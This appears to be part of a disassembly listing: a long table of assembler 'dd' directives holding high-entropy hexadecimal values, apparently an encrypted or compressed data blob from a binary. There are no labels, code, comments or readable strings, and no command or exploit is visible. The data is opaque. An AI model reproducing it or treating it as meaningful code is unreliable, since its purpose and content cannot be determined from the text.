		dd 25FD5F27h, 0D283C29Fh, 0EC2AB0A5h, 407E0EF9h, 9B5F8C9Ch
		dd 627490Ah, 88F5DDE3h,	0D7E86901h, 0CFC0D1DFh,	0B6E689Dh
		dd 2199A34Fh, 0F8634DDDh, 39646E02h, 0B7FB9124h, 0AC466AEEh
		dd 85FB66D3h, 84853577h, 7D41EE1Dh, 0ABD9FB4Dh,	61645509h
		dd 0B7CE21F6h, 2D843FC6h, 7E97147Eh, 0F0E0F316h, 276B7451h
		dd 0A1CED97Dh, 0D8F4321Fh, 82D90C63h, 0E51BB8DBh, 8C4FFBDAh
		dd 0A256819Bh, 6B70E23h, 742D07FFh, 9D689702h, 0F8E9202Fh
		dd 68030078h, 4EEC1898h, 846561D6h, 75A3969h, 3837F198h
		dd 371AC4CCh, 10F25669h, 83366408h, 8E4C8ABDh, 0A156EEE2h
		dd 3D2767C8h, 0D181A995h, 0FC3AB5DEh, 158DC813h, 32F361BCh
		dd 0F209BF91h, 6C4D6400h, 9E01931Eh, 0E520DCC6h, 7C86933Ah
		dd 0AF6E2A97h, 0FA70F48Eh, 66E62944h, 0E26AAA83h, 458C57Fh
		dd 25672DF0h, 0A2FBCB8Ch, 0E253C984h, 8A286E5Eh, 54BAB795h
		dd 20B550BCh, 0A24275C9h, 0B6A2382Ch, 7D38A72Bh, 4ADC10F7h
		dd 5B76A165h, 72BEAA65h, 6FDFE5D2h, 638BC804h, 0DA23573Eh
		dd 445AD464h, 102F3AF8h, 0C23D84DEh, 40B34A3Bh,	0E9E77822h
		dd 7EF5A595h, 98F490CBh, 508C44FBh, 6CE0411Ah, 0C571874h
		dd 6938F14Bh, 40D58A6Ch, 0FA41B492h, 62DCD08h, 2D4099ADh
		dd 19349717h, 11E75BA0h, 7C891347h, 9AE8A765h, 7E0ADEF5h
		dd 0C1DC388Ah, 0FC9FF245h, 264D0A01h, 3C7A2B53h, 0D10ED31h
		dd 0A484DAD2h, 9945FAD4h, 0FE1A34A3h, 0A05EA402h, 4257C2E3h
		dd 567ED77Ch, 0EB533B52h, 33A71274h, 195DA1CDh,	2870905Ah
		dd 0A0EF74D0h, 43CB59E4h, 22E8D71Dh, 0E460F69Dh, 3F9084DBh
		dd 481C650Ah, 0C2F9D64Bh, 339AF8F3h, 0DD6CBA49h, 77098D75h
		dd 4EF66BB5h, 798BBC62h, 0A69CE8E0h, 8427E310h,	2337C365h
		dd 0BBA3221Fh, 5C336367h, 57FB940Eh, 0FF514C1Dh, 3F7CAE40h
		dd 0B1C6FEC3h, 6C8C74F5h, 0FA07DF96h, 0AFA225B9h, 5E17B9B6h
		dd 70B016EBh, 13FD843Bh, 0B34644BCh, 0EB643C57h, 0BAEC49FFh
		dd 6ADD6Bh, 0EE7E670Ch,	0E3146A9Bh, 86C13705h, 0FE0BCABh
		dd 0CBE320F1h, 7AC2229Dh, 0FD46AC38h, 44ECB418h, 8646270Ah
		dd 49321AB3h, 0FEC6A0DDh, 61D081B9h, 20F921DCh,	96C615CAh
		dd 0CE644FCDh, 0FEBD2FCEh
		dd 8418E21Ch, 0C6ED3697h, 357B25A4h, 3EC3E4BAh,	93A4D381h
		dd 5F2F1903h, 88054980h, 52C0B35Dh, 72426B94h, 1878352Fh
		dd 65592C25h, 0C9504DE0h, 0EC318277h, 6EDAE6B3h, 33B532D9h
		dd 0ABBE70E7h, 4493BA87h, 498A23E8h, 1AEBA38Bh,	0F804C1E9h
		dd 0B34112B4h, 1C6529D6h, 6E68CF9Dh, 4E958723h,	5823FDF2h
		dd 0B689E918h, 0FC58127Ch, 0DA4333D2h, 0A54CB730h, 0B3AF3A47h
		dd 0FE5F6517h, 0CCCB8628h, 0B4573E7Dh, 74104F8h, 0FB7B776Ah
		dd 200E6BC8h, 9D7CEB2Dh, 0AE80C509h, 0DBA3C09Ch, 80840B61h
		dd 0E5F58A86h, 6797B987h, 9411BAA8h, 0FDA1771Fh, 0E0344F39h
		dd 275F7851h, 0E81505BEh, 6DA77820h, 5D9EF8B1h,	175ED366h
		dd 0D6E8B006h, 0E35F82C2h, 4F5C2401h, 68DD1826h, 0A230C3A2h
		dd 901D0F80h, 44BECC9Fh, 0DE449649h, 0D62F0CC9h, 0E5ED182h
		dd 0D5A3048h, 3A007DC4h, 2C6AFF6Dh, 5E2DA229h, 974F24B7h
		dd 0C5729449h, 2919D818h, 24957D9Fh, 7C5DD5AAh,	0F6DD0FC2h
		dd 5C727E5h, 76EB16DEh,	1ED897CDh, 68B89FE8h, 0FDE99E3h
		dd 55BAB80Dh, 0A14E779Bh, 3DD1F8C2h, 0AA299977h, 0B54E5834h
		dd 7E7C04C2h, 22DBA78h,	149FF28Bh, 423D7C4Dh, 451707Eh
		dd 0D6A9BB4Fh, 0EC143C08h, 0E6A00B6Fh, 0CA46771Ch, 41AC5272h
		dd 0E7929600h, 7910228Dh, 95D1C2FDh, 362DAB6Dh,	2764AB81h
		dd 0F32E06CDh, 4A8893F4h, 53827B1Bh, 1DD9E937h,	0C845763Ch
		dd 0BB997458h, 7A14515h, 0B620FB45h, 2BE24C17h,	594B5C9Dh
		dd 16750847h, 0E1941EE5h, 0F6D10A15h, 6E2F662Dh, 628D807Eh
		dd 8D7EDBAFh, 598D98Ah,	0A0650C58h, 9F05DDA9h, 0A1387C42h
		dd 87B4664Ch, 9A0551DDh, 45D3A92Eh, 94AB5354h, 69AD058Dh
		dd 0BCF1C1B3h, 0F3CE8A49h, 9F21A7CDh, 9A93F271h, 30C186B4h
		dd 6A8A17CEh, 84EBCC63h, 5BC52814h, 6036782Fh, 3A9DA446h
		dd 5D3BB31Dh, 0A8D92DCh, 9A0DF159h, 0B9CFC744h,	6FD43737h
		dd 33CA5D84h, 1704AE37h, 108BD0BFh, 5AF1BCCh, 170DA236h
		dd 0ABD7EE13h, 57118173h, 41BD6708h, 56FFA019h,	0D4558ECFh
		dd 0E62EFF89h, 7A6C1864h, 2CB99BD8h, 22D1BACBh,	3AC0A1D7h
		dd 0C6ABF4EFh, 3017A77Ch, 14ED654Eh, 0EB133A4Eh, 0A97FE17Dh
		dd 793E92BFh, 251D0C38h, 0A95D3ED0h, 9EA102D6h,	0A0771E05h
		dd 0EE8DABC4h, 40965433h, 54F9F6EFh, 94778991h,	5303BC52h
		dd 34809104h, 0E578E3D5h, 0E47DE336h, 0DAF88BCBh, 845BF559h
		dd 4DAAC7C7h, 0C9A1FDC3h, 0A7CA8E0h, 21795BF1h,	366BAC4Dh
		dd 0E50C0FE5h, 0DED656B4h, 442E871h, 0E8F137C1h, 9E980F9Ch
		dd 7BD43497h, 0E985AA71h, 0D1854DA2h, 0C985A849h, 0F8C97EDBh
		dd 552E367Eh, 7DFE0002h, 1DEA3B57h, 18854C51h, 0BD881315h
		dd 0CFECD86Dh, 47512CC6h, 0D8ED0C1Fh, 2839F627h, 91CCF891h
		dd 3648DF7Ah, 0AD9BEE4Bh, 2F87F861h, 5AE06698h,	0F8797AFh
		dd 9804A47Ch, 0FEF9EFA5h, 0E5C2D4B6h, 185DACDh,	371DD714h
		dd 91F39F33h, 0A7931522h, 44A7E3EFh, 8D8CBAECh,	0A5B39C43h
		dd 0F3B47863h, 886093Ah, 51D62E65h, 0F2F121CBh,	2E13115h
		dd 7F661CB2h, 86080570h, 733C4AD4h, 0CC85710Fh,	0C632F354h
		dd 5AC5AE05h, 0FA5B4038h, 61F389D6h, 3BEFFECh, 4F5DFE55h
		dd 6CD5F1FFh, 6FDDD374h, 6372AAACh, 19D88DBFh, 0F899420Fh
		dd 3EC88EA0h, 133568DAh, 14247D3Dh, 6D1786B0h, 87CCF5CFh
		dd 71FB26D3h, 652D220Ah, 62D178D2h, 8D8148C8h, 0A77B3F07h
		dd 0B11E7096h, 49093683h, 72140C23h, 0B1E61560h, 0B5C75DD8h
		dd 975EC90h, 961EC95Dh,	80D97862h, 2A72F304h, 62C7C1A8h
		dd 9A0EDDCAh, 480052Eh,	960CE32Ah, 1308500Eh, 0EB9BAE2Ah
		dd 60F295B7h, 0C4291361h, 3D089C48h, 0FB3CF2F8h, 0E98E592h
		dd 735D650Ch, 5DE30FE1h, 0A23C36DBh, 0AE892B3Ah, 83F6BCAFh
		dd 0A1569E4Ah, 0E17D7FF0h, 76C8CA5Ch, 5E9085FBh, 0BC2F3BA9h
		dd 0CBB000F5h, 0E0454364h, 0A0E712D0h, 3F65D306h, 0E4EC09ACh
		dd 0C167942Dh, 9F54CEE7h, 2B47BC99h, 58EA1040h,	0F4957FDEh
		dd 4F085B89h, 0FDD04D23h, 3B61425Eh, 982A5299h,	0DA6960CCh
		dd 5C97861Ah, 0E7FF2DAh, 67E94733h, 65D49D8Eh, 0A76CA0FFh
		dd 4C020F80h, 0D12ECA72h, 65D12D53h, 0F5388B75h, 3172032Eh
		dd 7625AF28h, 1262679Ch, 3EEFC5E8h, 0D5A1B1E9h,	2DF5AC6Ah
		dd 0A89379CBh, 0C5ADCD38h, 0BDB47AE0h, 207AEDDAh, 557BE7F2h
		dd 5C839654h, 0FE8CCEE3h, 0C9A3B1D8h, 92FCB052h, 0BFFEF704h
		dd 0CDBBDFD3h, 5C463F79h, 0C6CB1DEh, 0FE185EEAh, 0A040FD66h
		dd 4A353D09h, 66CD6CEFh, 5ECDCB24h, 496C527Fh, 643E317Dh
		dd 4CCD696Fh, 7C6EAFC3h, 4899C2C0h, 0C357F5CFh,	0E1BF1DB9h
		dd 6070661Eh, 57C37A87h, 0C436A3F1h, 62FADF89h,	49888F09h
		dd 0F35373FFh, 441B56C7h, 0BD4FADC2h, 41CFCD87h, 694D411Fh
		dd 3DE8F022h, 55CF6769h, 20E02032h, 0F19F6D13h,	0AD52921Ch
		dd 7F7E810Fh, 0B2647B9Bh, 2D294E15h, 7AAE714Dh,	0F325F9BCh
		dd 4A2AE4C9h, 0A619792h, 0D4319D86h, 0A602959h,	328A21D4h
		dd 0B58FAE58h, 20493A0Ah, 0BC9B2598h, 74A91BB2h, 1A2A7A54h
		dd 8DBF6D19h, 3A0ADD2Fh, 5AAB7264h, 73A61110h, 47F41FF9h
		dd 0DE39F7D1h, 0D4A35935h, 35DDFB10h, 84399C07h, 7058DD21h
		dd 3848F012h, 0AFE14A64h, 1EBF9853h, 0B186BD90h, 0EBE02FEh
		dd 0B7304BECh, 0DD1CD860h, 0B98125Fh, 184D034Ah, 2AC33DC1h
		dd 2C0EADBDh, 5A9F3617h, 0DD0C750Dh, 4D3AA33Eh,	174324B7h
		dd 0A156F31Bh, 9BEECC54h, 12959E57h, 8E294D63h,	0E8F4844Bh
		dd 240A9B7Ch, 46BB9E7Bh, 536A6212h, 33D615F6h, 269169ABh
		dd 53CFA128h, 5A23CDE8h, 0A4AE874Eh, 114D4EA4h,	7BB095A7h
		dd 0F5674AFEh, 9C7257F6h, 1A160630h, 0CE582A91h, 16646A72h
		dd 36FC0F92h, 0AFB0D46h, 0AEBCAB62h, 0DC4E3632h, 88C4C5ECh
		dd 5D1CA030h, 0E24D53BFh, 23532B77h, 1106CD07h,	1AD77C10h
		dd 0FCF7DC9h, 0C6A2EE7Eh, 4A469EDDh, 0AEBC7AAFh, 6C012E13h
		dd 4BC0069Ch, 7E2830DCh, 696F5B6Fh, 342753E7h, 422FE78h
		dd 361AC752h, 0F494B1F3h, 81716251h, 0F3C0AEA0h, 1265CE29h
		dd 0F7F7FBE0h, 0F962ADEBh, 0E48B42D4h, 42A3980Dh, 0A67E12A8h
		dd 546B0A2Ah, 0E4C9733Bh, 9AD04DD8h, 8CBCD6A9h,	11E1E385h
		dd 0CF002FB8h, 0F2A86F3Dh, 4A74638Ah, 927EF83Fh, 75D7E91h
		dd 1FBEFB5Bh, 46DB8738h, 91BCBE6Ch, 72CB6CD4h, 0AA9369Bh
		dd 1142EB6Ch, 0C6297140h, 0BE45755h, 11CF4FE2h,	0FD28BF1Ah
		dd 5E63D400h, 0FE90ECDFh, 1F22CA62h, 9AB96841h,	4D1D6166h
		dd 0B0AAD8DEh, 0CADCBE3Fh, 92A6AB81h, 0B0ACE690h, 0AF17F97Bh
		dd 2FD9C47Dh, 6FF00185h, 77ABC84Bh, 534BF1CAh, 0E31E0030h
		dd 46A521F4h, 0A12AA6A5h, 277CCE2Ch, 2C46321h, 8A91AFF1h
		dd 0C013E746h, 4B3BE9Fh, 854C7C9Fh, 52C87AFCh, 679A7B0Ah
		dd 928AB8A5h, 0A7104DF9h, 2CF2B31Dh, 554D7C3Ah,	8004BFAh
		dd 199F09C7h, 56675EF5h, 4B87538Bh, 0BB9DAFFBh,	0B54E8F44h
		dd 0E10B56D2h, 0E5EB1F69h, 64DD2E18h, 0DEA05C7h, 1410EF48h
		dd 0A5F3C4C0h, 0EA0EED90h, 0E5E36D06h, 4F2AA134h, 0F12493B9h
		dd 465D9B6h, 0C9FD8717h, 0E61E1C5Eh, 2B0C709Fh,	3349FFDh
		dd 652DC15Ah, 0C6A6A90Bh, 0AA0A5C2Eh, 0B0E0C20Ah, 516A3D8Ah
		dd 28DBB6D9h, 0D50C32Eh, 0D7D2DC73h, 5BB271E6h,	163F4E0Bh
		dd 78DBCF13h, 0ADE0C715h
		dd 69C2B72Eh, 937FF29Ah, 91A210E3h, 0B1AB2C9h, 7A96F19Eh
		dd 8916F2A8h, 839D85A0h, 2BE0D910h, 7B678C4Ch, 9D7D356h
		dd 0ACA3C1Bh, 7BC2BD2Dh, 0FD08BDFAh, 65C44674h,	0D5878BBh
		dd 0FA91AB82h, 65EAF711h, 4879F10Eh, 9B55E5EFh,	0B6A3CCh
		dd 9E704F58h, 39CCB54Dh, 2B24C339h, 82C69E02h, 0E1D5E3C5h
		dd 0CD106994h, 12E2FEA8h, 0D1103225h, 854A51D6h, 0EE022D31h
		dd 0A047AA47h, 55D7C077h, 5A934C2Bh, 21736893h,	6FA913BDh
		dd 973F0B91h, 1436FDF3h, 0DC6B149Eh, 8902621Eh,	80CF8C18h
		dd 3AF9B182h, 1651114Fh, 0FB888352h, 0E31C1DE6h, 1B0E55CFh
		dd 0CF4BAA9Ah, 19F7EFBDh, 0C312E58h, 0FBFAB761h, 69F91668h
		dd 27C770BEh, 0ED471816h, 84E745CEh, 91D6925Dh,	136AAFC7h
		dd 0B4B4A52Ch, 24394732h, 0B2D0AC1Bh, 900C8D06h, 0F8FDE876h
		dd 720D3DD0h, 2CA021F2h, 6B50ADB7h, 7C38243h, 54412A24h
		dd 0DDCB6D5Ch, 1762B4D8h, 23676FB1h, 0B46B4643h, 0C72A5692h
		dd 0B946AC44h, 0B850F192h, 0B686B65Eh, 0D467EA80h, 0F3C6F75h
		dd 33195FE7h, 10E45CBAh, 29FD1D61h, 2AD28D5Dh, 0A1EBB6FDh
		dd 3D3274DBh, 0B76507D4h, 0F16413E4h, 54D1DCEh,	0B132C2C5h
		dd 171DBCBAh, 0C31AE4AEh, 9DCB5E9Ch, 0C2EB5DACh, 0A0394058h
		dd 0D6738E26h, 0AB89631Bh, 0C16A762Fh, 0D041F38Ah, 48B4AC74h
		dd 0BE8DA676h, 0CD4AE2EBh, 0CD31B5F7h, 0D6727E5Bh, 3FC11F2Ch
		dd 2322ABCFh, 0E63258C6h, 98DD1D59h, 68E4D59Eh,	64AEC17Ch
		dd 91D01F70h, 1C3BC34Bh, 4DAE8F9Ch, 6B740B17h, 4A48DF93h
		dd 3E8091Eh, 0F264F19Dh, 462FD63Ah, 0F82B71A0h,	0BF2E77F9h
		dd 9FE7507Ch, 3C321EFCh, 2611FB91h, 5CE5EE0Fh, 0C6F381A9h
		dd 487BC182h, 0BF6F64C5h, 0ACFC1D22h, 683C0AE5h, 7233F9AAh
		dd 0D9F9B983h, 0A532E077h, 8D3D43DAh, 0B4859B21h, 49184B3Eh
		dd 9DFD0A34h, 4D92D38Eh, 0C9AA5ACFh, 8AFD7239h,	0D481981Fh
		dd 3A8FA2Bh, 0CF29CB54h, 1C3C6D14h, 68140A22h, 256117A1h
		dd 20C01921h, 0EB0293BEh, 5A2809C4h, 24D8A3FAh,	1081FF30h
		dd 7EC22C0Ch, 0B860A55Ch, 0E7D9668Eh, 0B48B7B1h, 32301563h
		dd 6D655A3Fh, 778955Fh,	0B201F61Eh, 24E3066h, 916BF85h
		dd 9ADB7C3Eh, 9E93118Fh, 0F58A1E33h, 0E6314336h, 821661FEh
		dd 0DD9C13C9h, 81B21691h, 5ACE2C0h, 0CAFED723h,	384BD36Dh
		dd 4B32A233h, 22A6196Dh, 322D9EF2h, 0B8CD163Ch,	0CC786019h
		dd 0B14BF626h, 3B0566A4h, 0A8E32E06h, 0DB680EB9h, 0F47D7252h
		dd 0E2DFA027h, 886CC17Ch, 0B45E8EE3h, 0E439DB7Fh, 0C3DE793Dh
		dd 9C75426h, 0E2681D10h, 0B38C95A0h, 1C9402A4h,	410C2C4Fh
		dd 7C374F3Dh, 327C7495h, 7BC38AD2h, 0C0F2BE47h,	0E708E0Dh
		dd 0A8126F5Bh, 0B32DBD60h, 0D9483A5Ah, 0D4C292CDh, 6DDC3493h
		dd 974C5361h, 0A19A973Ch, 0BC89B932h, 5EBBF702h, 0FCADE674h
		dd 0F8B8F66h, 27014B75h, 8380369h, 0C24A0463h, 67183C41h
		dd 81A213CCh, 71C38707h, 726DCC2Dh, 2B6AFF2Bh, 9BA51F53h
		dd 4CB1BD4h, 0DB6C713Ch, 2C924F68h, 3EF5C965h, 560A0455h
		dd 8892C862h, 5330C57h,	0B2CD963Fh, 2818D223h, 0D14E0DFDh
		dd 5A2104EDh, 17F4C6F3h, 0CAAEEF1Ah, 321348D4h,	34214E32h
		dd 0F7E6511Fh, 6BC751EBh, 0A79499A5h, 74A31545h, 0D34558D1h
		dd 48AF9FACh, 0FA776FAAh, 5E2C1F8Ah, 0B4053CCDh, 0BAA7ED62h
		dd 0BAD71620h, 0E9A57BDFh, 6D643B2Ah, 0D755D13Bh, 0E7D30112h
		dd 2FAF946Fh, 10437CC5h, 0D61852F0h, 959AAEDCh,	0B819F2Eh
		dd 390B1DCFh, 48CDDF47h, 97C35522h, 5F0518Eh, 4A047F8h
		dd 0F4875AABh, 222DB74Fh, 0CEAB6EEDh, 0EBE5B32Ch, 22C45072h
		dd 80DBD139h, 7E2B105Ah, 59248BF3h, 62263BE4h, 70764C64h
		dd 4AEDB891h, 0DF93533Ah, 9A4F7E1Dh, 0F3E657DAh, 76345041h
		dd 8A9F8BF5h, 0BC02619Bh, 56FE7233h, 6AA988AAh,	0F30809EDh
		dd 21501FD6h, 0C606B072h, 78CDE9Bh, 2010BFF3h, 29175FBFh
		dd 0CBB2F8EDh, 5AF1D141h, 4F116FA7h, 38E6332Bh,	1A9CB7F1h
		dd 0B1764B11h, 998EE8C3h, 3A6911FDh, 3A602578h,	4B70925Ah
		dd 22AD1002h, 0CDF2064Eh, 0BC8ACCBAh, 588528BCh, 61898610h
		dd 7E606708h, 0D64A75E1h, 4E9692AEh, 0F9C1FBD4h, 0E718E0CDh
		dd 54E77079h, 0DCADD42Eh, 62B60E93h, 6EF43652h,	62C247C5h
		dd 4CB14994h, 0B55189A4h, 2199C81Ah, 0D67DE927h, 0B524E90Ch
		dd 0AFB2E34Ah, 7F747F08h, 86C6417Eh, 21E9B960h,	531B9B38h
		dd 0BCBBD400h, 2C25C676h, 0BF595DF4h, 148A506Dh, 52DC3EA0h
		dd 93BE5C80h, 2E75E856h, 6C019E9Eh, 33656254h, 6EE8FFECh
		dd 61F6E37Fh, 3BDC609Bh, 573F8615h, 877877E3h, 0B3492E6Dh
		dd 2ADB09E3h, 3896B3DBh, 2AA5298Bh, 76A6BCBh, 0DD33BAF5h
		dd 7A431BACh, 0E4EB8FB1h, 0C7F39CAAh, 4405C30h,	43AF369Bh
		dd 0A8B0EA92h, 71D12234h, 156FCFDDh, 9775278Dh,	340483EBh
		dd 5735964Dh, 34BC22E0h, 7B212BB4h, 0C1E73F37h,	0FA88580h
		dd 0CDE45B55h, 4D8E0165h, 0C384F9F6h, 1E401B9Dh, 4834FBC2h
		dd 0E7DCE5B2h, 0A0119EB3h, 657F8505h, 500ED00Bh, 3B7FDFCEh
		dd 1C999EA0h, 96A3542Eh, 1C9DF9B1h, 0A0728456h,	0DCD16CA3h
		dd 0EAE4B589h, 5B330488h, 0CAB8D4ECh, 0F2F41007h, 0B6327C81h
		dd 986B8DC4h, 6600797Dh, 0AA106112h, 9B0E59E5h,	0D2C45EB5h
		dd 700F77E9h, 3867B37Dh, 26914235h, 0D0073A11h,	0C5A43FA7h
		dd 0A158503h, 678680C7h, 5374E34h, 0E68666B0h, 0BFB93058h
		dd 2F4FEDF8h, 0A24A49E1h, 839173EFh, 2996E0EDh,	0B249105Ah
		dd 576465DCh, 0D5EB5C11h, 9A15D466h, 98BC459Eh,	7A75EF52h
		dd 0AFE2AA29h, 0D23E295h, 0B0274CCEh, 0A8D48617h, 604B49A8h
		dd 87318DACh, 0A8BFD4C6h, 39264F72h, 0AF0ECD82h, 9CFA43F4h
		dd 7D06C4E5h, 5171B032h, 20603741h, 37BFA058h, 30DC9A7h
		dd 4A121588h, 0DDBA9400h, 4F4E8117h, 802863D4h,	6FB77F92h
		dd 0B037D290h, 81E72BEBh, 77E6333Bh, 0CC17B17Ah, 0B43138D2h
		dd 0ABAB571Fh, 58F08F3Eh, 42640B62h, 7D9E05A2h,	6A6409EDh
		dd 0B9E6254Eh, 0B517A3A3h, 0FDEB3213h, 38982BC3h, 5F3B3B47h
		dd 0EBB6748Fh, 35F21EFAh, 0E57625E5h, 9ED38DA3h, 66EA3E70h
		dd 0D184BB49h, 4831562Ah, 0DDBBF503h, 2AB19D3h,	0A7578E0Eh
		dd 0BAEFE53Dh, 0D431681h, 1CB63427h, 0EDADEC09h, 0A4E79BD1h
		dd 4ABC09AAh, 0DB262B3Ch, 0CE31637Fh, 0DB9BBAF5h, 0A3C8A6BFh
		dd 91370D1Ch, 98A3C7E1h, 1F8BF68Fh, 0A3402064h,	0BDC843F1h
		dd 0B6D8FF5Eh, 0D2D2342Eh, 0A8F6EA21h, 388DD19Dh, 124F7202h
		dd 6C453329h, 26F565D7h, 53835B95h, 44066C53h, 433E974Fh
		dd 98501F27h, 98253645h, 0EE13415Dh, 1B6E7975h,	736286D4h
		dd 0E5BDD5A0h, 2C3E8BB4h, 98869026h, 0DBB5BA59h, 9BA0790Dh
		dd 0C7C51F10h, 0BE038F34h, 0AD3011EAh, 1B9D81BBh, 45FD676Bh
		dd 0B05CE79Fh, 9D4846FEh, 2DF83BEFh, 3422EBEBh,	0BEC43213h
		dd 6094467Ch, 0B1996DBCh, 28168FAEh, 357E5F23h,	0C6CE2691h
		dd 93DD317Fh, 159B7A84h, 0E22B059Ah, 1B35C5F1h,	912B2F92h
		dd 34ACE270h, 457D5BA3h, 5BD3D389h, 2A9A8EE4h, 7EA521F7h
		dd 0C2C94555h, 1F8E0BA6h, 0AC557C89h, 9C3ACA31h, 148CD8BBh
		dd 22BE7F1Fh, 0DA94681Dh, 0FB88003Eh, 9A6F63CFh, 474CEE9h
		dd 538CE0ADh, 0B22EEEBEh, 0D65497CFh, 21EA029Dh, 0A8EAEF2h
		dd 1E7649B9h, 2224D7D0h
		dd 98FDFA22h, 159788EAh, 0EEEED5EFh, 0F98A067Ch, 49C4DCC6h
		dd 8BCBA952h, 0AEDF795h, 0EABB56F2h, 9AF01FCh, 0EF3D45FBh
		dd 5BD2D707h, 0B5A74DFBh, 4CE22CE5h, 76DB7CD1h,	18A91042h
		dd 73DE8C62h, 6F400C31h, 86CED154h, 4857DC43h, 57C13581h
		dd 2975E029h, 3F23130Fh, 8E4D1615h, 0CBC7FB25h,	0E45F53CFh
		dd 2D165CA8h, 0AB09955Ah, 0DD36BFA8h, 0CF0E7B06h, 4A615455h
		dd 5844421Fh, 2AFC85BAh, 8CEB7934h, 73C419h, 0A9A84528h
		dd 0D942E8E7h, 31632E80h, 41EE0B40h, 89D1980Bh,	295C58D1h
		dd 7BB24D94h, 0AA4CEF60h, 5EE1978Dh, 0BD368738h, 6AF587F7h
		dd 86D00ED9h, 40D6936h,	56C61168h, 0F7363A60h, 1106A2Fh
		dd 80A16592h, 0ECD6B386h, 0D65DDAC0h, 0E44FFA70h, 9A240312h
		dd 0CFD62482h, 36339EB1h, 0B8309C62h, 0BEC2DAECh, 699D7922h
		dd 39F611D7h, 21F3E870h, 0A0620140h, 1EF403B4h,	80A08482h
		dd 6AD38DACh, 8919A316h, 2350C55Fh, 7F7141CFh, 0B9B586F4h
		dd 1596B386h, 0EA0C6203h, 0E745C01Dh, 2D99BE14h, 52E1468Dh
		dd 0BFD447C6h, 63A3122h, 7ED253F8h, 0E5C2265Fh,	0CDD631F3h
		dd 6245EE40h, 15981F95h, 0C445DBF8h, 0B9877173h, 0FE13CE6Ch
		dd 34E75FCh, 75128492h,	0FFCA6CD7h, 2D721739h, 42536EC9h
		dd 2E73D0FCh, 67668D8h,	1DB94C3Fh, 0BDD3563Fh, 0B107D947h
		dd 2602E260h, 0E40C317h, 8480CE0h, 77174C4h, 688A2C81h
		dd 9A3433FEh, 0D582ABEAh, 0D65D5568h, 6BDD1B91h, 3691C9A4h
		dd 0A5D5B29Bh, 0DCC71DECh, 22CEC6C8h, 7FFF62F5h, 0ACA837Ch
		dd 0BEE79859h, 1779ED0Bh, 4533E441h, 0C1B1478Ah, 468B744Bh
		dd 0CA823A0Dh, 55B4BE8Bh, 733108C7h, 7CE0DCC3h,	0D91B810Ch
		dd 3E953175h, 0DB19F0Ch, 0F0F0CF9h, 61869DE5h, 0DD9E935Ah
		dd 479DE6A7h, 933FCFBBh, 34EC5C75h, 0BE0C18DDh,	0A017E3D5h
		dd 0E7B2B8A3h, 9C6874C1h, 0B4975A87h, 0A6DB192Ch, 4091369h
		dd 0CB2F51FEh, 6BFD27F8h, 8A8A8A68h, 2C668458h,	0DF9E5BE0h
		dd 5614263h, 0BA97EBFBh, 11D30181h, 3988C617h, 11BA00FEh
		dd 0F1126D80h, 0EE81795h, 75BFB4BEh, 0EF7DF79Ah, 0F0957B4Bh
		dd 0C9EE71CDh, 4932170Ch, 194BCF19h, 9417223h, 0E819A235h
		dd 0F4A9EF5Dh, 61FC9BF7h, 6CC6F6EAh, 5FEA0B5Ch,	0B022DCCCh
		dd 0FBFFC97Fh, 0DAC49556h, 44A7C905h, 0F368188Bh, 9A1A9302h
		dd 937498CEh, 75D4CC66h, 3A5437B9h, 0B5BDDB5h, 0C75938BCh
		dd 0E5B106B0h, 0D71C4FA3h, 1FC08EAEh, 0C9329E9Fh, 6F6056C9h
		dd 3082A13Fh, 5DFDCC9h,	0A50FEF6Ch, 13DA2E7Fh, 0D361516Dh
		dd 0DB176668h, 39E9678h, 0C6EC981h, 0BD746015h,	0E1E12292h
		dd 0CA25B64Dh, 3D6EFC07h, 7D66401Eh, 10CCE311h,	717B488h
		dd 9E5F275h, 4F0636D5h,	91C36AA9h, 6B6A326Ah, 2351EB79h
		dd 2AE380A0h, 3747D857h, 70D78B35h, 4A817FBBh, 6A99E242h
		dd 537E92F7h, 1CE4E0ECh, 8AC9D188h, 0AF3463D6h,	3EE2057Ah
		dd 9CF3A39Bh, 0B91CF572h, 7D3A09D3h, 0C5E6C7D7h, 3AF23C1Ah
		dd 15CCC158h, 0DA6A8760h, 35A36461h, 0BA30B68Eh, 3A768279h
		dd 7171DFA0h, 68A5F07h,	2A0F2890h, 0F7DF63F2h, 9F4C7AC0h
		dd 18E53245h, 0DBDEC1A0h, 320BFD46h, 17534F7h, 0EAEE2C1Bh
		dd 22D31559h, 0C4168CEDh, 5CC3BAFEh, 0B5105E9Dh, 56390F90h
		dd 5098143h, 1B17D489h,	7B5CA91Dh, 5228169Ah, 3173162Ch
		dd 928CCD29h, 0DA724AE8h, 1A5C5FA7h, 0D52BA520h, 6E023BD1h
		dd 0E80F2CAh, 0BB49140h, 0D9BFEEE8h, 0A3596427h, 0DBF40A5Bh
		dd 219DF8E4h, 5FEB7B60h, 7D2B5403h, 314FDD06h, 390D9DE0h
		dd 3D909EFEh, 0B93A9C41h, 965FA950h, 998CC69Fh,	15E3CB91h
		dd 55061C02h, 5C480E24h, 0B2069CB6h, 996DD930h,	0A3F11EA3h
		dd 5D559954h, 0E7348331h, 2E95F111h, 0F856FDDAh, 0DFA4D642h
		dd 0DD9EBDE9h, 116B1994h, 76FDEE54h, 76D08769h,	57816501h
		dd 0A2C3FACDh, 26887F72h, 0D4786AD5h, 6D595AB9h, 0D5518688h
		dd 2DD7010h, 305AA6AAh,	7115B9B0h, 6F10628Fh, 7A8DCFAEh
		dd 0A631923Fh, 474ABE14h, 0C7E94073h, 3AB55FE0h, 0C0192FDDh
		dd 0F1E27045h, 523013B1h, 0BD3EDC8Ch, 0F216824Ch, 8785EEFCh
		dd 4E0914EFh, 0C8360523h, 8BF71329h, 827E6830h,	0F2EEF79Ch
		dd 0A7B515CEh, 9945E913h, 3A1145DDh, 68237F9Fh,	7726999h
		dd 0C216C227h, 1C1F8E05h, 2544924Ch, 1C41A380h,	0DD54062Ch
		dd 6178E39Bh, 854E419Ah, 45A7E79Fh, 0F1422FBh, 7D32CCEBh
		dd 942EBD80h, 0DF7115ECh, 219A1782h, 1F97C786h,	0F995D3FCh
		dd 82269C6Eh, 4099C57Eh, 0C9198B97h, 46B2D32h, 6A197861h
		dd 0FF725C2Bh, 0D051C507h, 0F078DD91h, 0D82AA775h, 1B0C5159h
		dd 8A9D4667h, 85ACD147h, 129CA000h, 0E2B15DE2h,	4ABE3829h
		dd 515B8119h, 4C6023BCh, 0C4230B6Ah, 996BE757h,	3CE3C68Ah
		dd 0DE05818Bh, 0BD6AD9C1h, 0D87A03EAh, 3B4139D3h, 920ABC54h
		dd 1FA54DDBh, 0B486F480h, 25311FF8h, 4CAE3E24h,	1046A1FBh
